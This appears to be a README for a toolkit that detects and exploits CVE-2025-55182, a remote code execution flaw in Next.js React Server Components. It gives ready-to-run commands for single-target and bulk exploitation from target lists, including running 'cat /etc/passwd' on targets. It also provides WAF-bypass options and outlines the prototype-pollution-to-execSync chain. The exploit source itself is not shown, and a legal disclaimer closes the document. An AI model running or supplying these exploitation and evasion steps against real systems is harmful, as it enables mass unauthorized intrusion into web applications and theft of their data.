CVE-2025-55182 Exploitation Tool

A comprehensive security research tool for testing Next.js React Server Components Remote Code Execution vulnerability (CVE-2025-55182).

Overview

This toolkit provides automated detection and exploitation capabilities for CVE-2025-55182, a critical RCE vulnerability affecting Next.js applications using React Server Components. The toolkit consists of three integrated components:

• NextApp.py - Intelligent Next.js application fingerprinting scanner
• exploit.sh - Flexible exploitation tool for single or bulk targets
• auto_exploit.sh - End-to-end automated scanning and exploitation orchestrator

Features

• Multi-layered Detection: Header analysis, body scanning, and JavaScript fingerprinting
• Confidence Scoring: Intelligent classification (High/Medium/Low) to minimize false positives
• WAF Bypass: Built-in techniques to evade common web application firewalls
• Bulk Scanning: Process multiple targets efficiently with detailed reporting
• Automated Workflow: One-command detection and exploitation
• Detailed Reporting: Comprehensive output files with categorized results

Requirements

Python Components

• Python 3.x
• requests library

pip3 install requests

Bash Components

• curl
• openssl
• Standard Unix utilities (sed, grep, awk, mktemp)

Installation

git clone https://github.com/yourusername/CVE-2025-55182-poc-tool.git
cd CVE-2025-55182-poc-tool
chmod +x exploit.sh auto_exploit.sh

Usage

Quick Start (Recommended)

The fastest way to scan and exploit targets:

# Create a file with target URLs (one per line)
echo "https://example.com" > targets.txt

# Auto-scan and exploit in one command
./auto_exploit.sh -i targets.txt -s -c "id"

Detection Only

Identify Next.js applications without exploitation:

python3 NextApp.py targets.txt

Output files:

• confirmed_nextjs_targets.txt - All detected Next.js applications
• high_confidence_nextjs_targets.txt - High-confidence detections only

Single Target Exploitation

Test individual targets:

# Basic exploitation
./exploit.sh -d https://target.com -c "whoami"

# With WAF bypass
./exploit.sh -d target.com -c "cat /etc/passwd" -w

# Custom WAF bypass size
./exploit.sh -d target.com -c "ls -la" --waf-bypass --waf-size 256

# Skip SSL verification
./exploit.sh -d https://target.com -c "id" -k

Bulk Exploitation

Option 1: Unified Workflow (Recommended)

./auto_exploit.sh -i targets.txt -s -c "whoami"

Option 2: Two-Step Manual Workflow

# Step 1: Detect Next.js applications
python3 NextApp.py targets.txt

# Step 2: Exploit confirmed targets
./auto_exploit.sh -c "id"

Advanced Options

# Full auto-scan with WAF bypass
./auto_exploit.sh -i targets.txt -s -w --waf-size 256 -c "whoami"

# Custom delays and timeouts
./auto_exploit.sh -i targets.txt -s --delay 5 --timeout 30 -c "id"

# Skip SSL verification in bulk mode
./auto_exploit.sh -i targets.txt -s -k -c "hostname"

Command Reference

NextApp.py

python3 NextApp.py <targets_file>

Arguments:

• targets_file - Text file containing target URLs (one per line)

exploit.sh

./exploit.sh [OPTIONS]

Options:

auto_exploit.sh

./auto_exploit.sh [OPTIONS]

Options:

Output Files

confirmed_nextjs_targets.txt

Generated by NextApp.py - contains all URLs identified as Next.js applications.

high_confidence_nextjs_targets.txt

Generated by NextApp.py - contains only high-confidence Next.js detections (100+ confidence score).

exploit_results.txt

Generated by auto_exploit.sh - comprehensive exploitation report including:

• Vulnerable targets with command output
• Non-vulnerable targets
• Errors and their details
• Summary statistics

Detection Methodology

The scanner uses multiple detection techniques with a confidence scoring system:

Header Analysis (50 points each)

• Next.js specific headers: x-nextjs-*, x-vercel-*
• x-powered-by: Next.js
• Server: Vercel

Body Scanning

• __NEXT_DATA__ presence (100 points)
• Next.js buildId pattern (50 points)
• _next/* asset paths (25-75 points based on quantity)

JavaScript Fingerprinting (60 points)

• __NEXT_DATA__, __NEXT_LOADED_PAGES__
• middlewareManifest, self.__RSC_MANIFEST

Confidence Thresholds:

• High (100+): Multiple strong indicators
• Medium (75-99): Several moderate indicators
• Low (50-74): Minimal evidence
• Below 50: Rejected as false positive

Exploitation Mechanism

The exploit leverages a prototype pollution chain in Next.js React Server Components:

1. Constructs multipart form data with nested payload
2. Pollutes __proto__ chain via JSON deserialization
3. Injects arbitrary JavaScript into _response._prefix
4. Executes commands via process.mainModule.require('child_process').execSync()
5. Extracts results from X-Action-Redirect header
6. URL-decodes and formats output

WAF Bypass Techniques

The toolkit includes built-in WAF bypass capabilities:

• Junk Data Injection: Prepends random data to bypass size-based filters
• Dynamic Boundaries: Randomized multipart boundaries
• Request ID Randomization: Unique IDs per request
• Configurable Size: Adjustable junk data size (default 128KB)

Enable with -w or --waf-bypass flags.

Examples

Scan and Exploit Web Application

# Create target list
cat > targets.txt << EOF
https://app.example.com
https://dashboard.example.com
https://admin.example.com
EOF

# Run unified scan
./auto_exploit.sh -i targets.txt -s -c "whoami"

# Check results
cat exploit_results.txt

Test Single Target with WAF Bypass

./exploit.sh -d https://target.com -c "cat /etc/passwd" -w --waf-size 256

High-Confidence Targets Only

# Step 1: Detect and filter
python3 NextApp.py targets.txt

# Step 2: Exploit high-confidence only
./auto_exploit.sh -i high_confidence_nextjs_targets.txt -c "id"

Legal Disclaimer

This tool is intended for authorized security testing and research purposes only. Users must:

• ✅ Obtain explicit written permission before testing any systems
• ✅ Use only in authorized penetration testing engagements
• ✅ Comply with all applicable laws and regulations
• ✅ Use for defensive security research and CTF competitions

Unauthorized access to computer systems is illegal. The authors assume no liability for misuse of this tool.

Vulnerability Information

• CVE ID: CVE-2025-55182
• Affected: Next.js React Server Components
• Type: Remote Code Execution (RCE)
• Severity: Critical

Credits

Thanks to the security researchers who discovered and disclosed this vulnerability:

• @zack0x01
• @infosec_au
• @pdiscoveryio

Contributing

Contributions are welcome! Please:

1. Fork the repository
2. Create a feature branch
3. Commit your changes
4. Submit a pull request

Support

For issues, questions, or feature requests, please open an issue on GitHub.

License

This project is provided for educational and authorized security testing purposes. Use responsibly and ethically.